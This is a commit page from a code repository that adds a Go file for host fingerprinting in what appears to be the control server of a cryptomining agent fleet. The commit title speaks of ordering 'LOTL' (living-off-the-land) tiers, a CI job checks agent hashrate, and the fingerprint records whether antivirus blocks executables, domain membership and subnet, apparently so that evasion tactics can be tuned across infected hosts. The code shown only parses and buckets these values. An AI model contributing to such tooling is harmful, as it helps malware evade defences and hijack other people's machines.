Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
119
server/internal/strategy/fingerprint.go
Normal file
119
server/internal/strategy/fingerprint.go
Normal file
@@ -0,0 +1,119 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// HostFingerprint captures host signals that drive fleet-wide tier scoring.
|
||||
type HostFingerprint struct {
|
||||
GOOS string `json:"goos"`
|
||||
Docker bool `json:"docker"`
|
||||
WSL bool `json:"wsl"`
|
||||
GPU bool `json:"gpu"`
|
||||
AVBlocks bool `json:"av_blocks"`
|
||||
DomainJoined bool `json:"domain_joined"`
|
||||
Subnet string `json:"subnet"`
|
||||
}
|
||||
|
||||
// Key returns a stable bucket id for fleet outcome aggregation.
|
||||
func (f HostFingerprint) Key() string {
|
||||
goos := strings.ToLower(strings.TrimSpace(f.GOOS))
|
||||
if goos == "" {
|
||||
goos = "unknown"
|
||||
}
|
||||
subnet := strings.TrimSpace(f.Subnet)
|
||||
if subnet == "" {
|
||||
subnet = "unknown"
|
||||
}
|
||||
return strings.Join([]string{
|
||||
goos,
|
||||
boolToken(f.Docker),
|
||||
boolToken(f.WSL),
|
||||
boolToken(f.GPU),
|
||||
boolToken(f.AVBlocks),
|
||||
boolToken(f.DomainJoined),
|
||||
subnet,
|
||||
}, "|")
|
||||
}
|
||||
|
||||
func boolToken(v bool) string {
|
||||
if v {
|
||||
return "1"
|
||||
}
|
||||
return "0"
|
||||
}
|
||||
|
||||
// FingerprintFromAuth builds an initial fingerprint from agent auth + connection IP.
|
||||
func FingerprintFromAuth(platform, ip string, domainJoined bool) HostFingerprint {
|
||||
return HostFingerprint{
|
||||
GOOS: normalizeGOOS(platform),
|
||||
DomainJoined: domainJoined,
|
||||
Subnet: subnetFromIP(ip),
|
||||
}
|
||||
}
|
||||
|
||||
// FingerprintFromStats merges live telemetry probes into a fingerprint.
|
||||
func FingerprintFromStats(base HostFingerprint, probes map[string]bool, domainJoined *bool) HostFingerprint {
|
||||
out := base
|
||||
if probes != nil {
|
||||
if v, ok := probes["docker"]; ok {
|
||||
out.Docker = v
|
||||
}
|
||||
if v, ok := probes["wsl"]; ok {
|
||||
out.WSL = v
|
||||
}
|
||||
if v, ok := probes["gpu"]; ok {
|
||||
out.GPU = v
|
||||
}
|
||||
if v, ok := probes["av_blocks_exe"]; ok {
|
||||
out.AVBlocks = v
|
||||
}
|
||||
}
|
||||
if domainJoined != nil {
|
||||
out.DomainJoined = *domainJoined
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func normalizeGOOS(platform string) string {
|
||||
p := strings.ToLower(strings.TrimSpace(platform))
|
||||
switch {
|
||||
case strings.Contains(p, "win"):
|
||||
return "windows"
|
||||
case strings.Contains(p, "linux"):
|
||||
return "linux"
|
||||
case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
|
||||
return "darwin"
|
||||
default:
|
||||
return p
|
||||
}
|
||||
}
|
||||
|
||||
func subnetFromIP(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return ""
|
||||
}
|
||||
host := ip
|
||||
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||
host = h
|
||||
}
|
||||
parsed := net.ParseIP(host)
|
||||
if parsed == nil {
|
||||
return ""
|
||||
}
|
||||
if v4 := parsed.To4(); v4 != nil {
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ".")
|
||||
}
|
||||
}
|
||||
if strings.Contains(host, ":") {
|
||||
parts := strings.Split(host, ":")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ":")
|
||||
}
|
||||
}
|
||||
return host
|
||||
}
|
||||
Reference in New Issue
Block a user